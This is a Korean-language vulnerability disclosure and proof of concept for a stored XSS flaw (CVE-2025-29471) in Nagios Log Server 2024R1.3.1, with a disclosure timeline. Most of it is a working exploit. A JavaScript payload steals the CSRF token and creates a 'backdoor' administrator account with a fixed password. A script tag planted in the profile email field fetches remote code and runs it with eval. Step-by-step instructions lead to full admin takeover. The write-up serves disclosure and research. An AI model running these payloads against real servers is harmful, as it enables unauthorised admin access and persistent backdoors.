
Nagios Log Server 2024R1.3.1의 저장된 XSS
2024R1.3.1 및 이하Nagios Log Server 2024R1.3.1 (기본 구성, Ubuntu 20.04)CWE-79CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H승인된 테스트 및 연구 목적으로만 사용하십시오. 소유하지 않았거나 명시적인 테스트 허가를 받지 않은 시스템에서 이 취약점을 테스트하거나 익스플로잇하지 마십시오.
Nagios Log Server 2024R1.3.1의 저장형 XSS 취약점을 통해 낮은 권한의 사용자가 자신의 프로필 'email' 필드에 악성 JavaScript를 주입할 수 있습니다.
관리자가 감사 로그를 조회하면 페이로드가 실행되어, 무단 관리자 계정 생성으로 이어지는 권한 상승이 발생합니다.
1.다음 내용으로 xss.js 페이로드를 외부 서버에 호스팅하십시오. Github도 문제없이 작동합니다.
<target-ip>를 Nagios Log Server 대상의 IP/호스트 이름으로 업데이트하십시오.
(function() {
console.log("🔥[XSS] Payload Executing...🔥");
var csrfTokenMatch = document.cookie.match(/csrf_ls=([^;]+)/);
if (!csrfTokenMatch) return;
var csrfToken = encodeURIComponent(csrfTokenMatch[1]);
console.log("[XSS] CSRF Token:", csrfToken);
var requestBody = "csrf_ls=" + csrfToken +
"&name=backdoor" +
"&[email protected]" +
"&username=backdoor" +
"&password=Password123!" +
"&password2=Password123!" +
"&auth_type=admin" +
"&apiaccess=1" +
"&language=en_US" +
"&account_type=local";
fetch("http://<target-ip>/nagioslogserver/admin/users/create", {
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: requestBody
})
.then(response => response.text())
.then(function(data) {
console.log("🔥[XSS] User Created Successfully!🔥");
console.log(data);
})
.catch(console.error);
})();
표준(비관리자) 사용자로 Nagios Log Server에 로그인합니다.
프로필 업데이트 엔드포인트로 이동합니다:
http://<target-ip>/nagioslogserver/profile/update
이메일 필드에 다음 페이로드를 삽입합니다. fetch 줄을 xss.js가 저장된 URL로 업데이트합니다.
<script>
fetch("https://<EXTERNAL-HOST>/xss.js")
.then(response => response.text())
.then(scriptText => eval(scriptText))
.catch(console.error);
</script>
Username: backdoor
Password: Password123!
backdoor로 로그인하여 Nagios Log Server에서 전체 관리자 권한을 획득합니다.Nagios Log Server 2024R2를 릴리스Nagios Log Server 2024R2가 저장형 XSS 취약점을 해결함을 테스트하고 검증한 후 Nagios에 업데이트CVE-2025-29471을 예약했으나, 벤더의 공개 보안 권고문이 없어 세부 내용은 비공개로 유지됨2024R1.3.2)를 통해 저장형 XSS 취약점 수정 사항을 2024R1 브랜치에 백포트CVE-2025-29471이 공식적으로 공개됨이 작업은 나의 고용 범위 밖에서 수행되었으며, 사이버보안 연구에 대한 나의 개인적 노력을 반영합니다.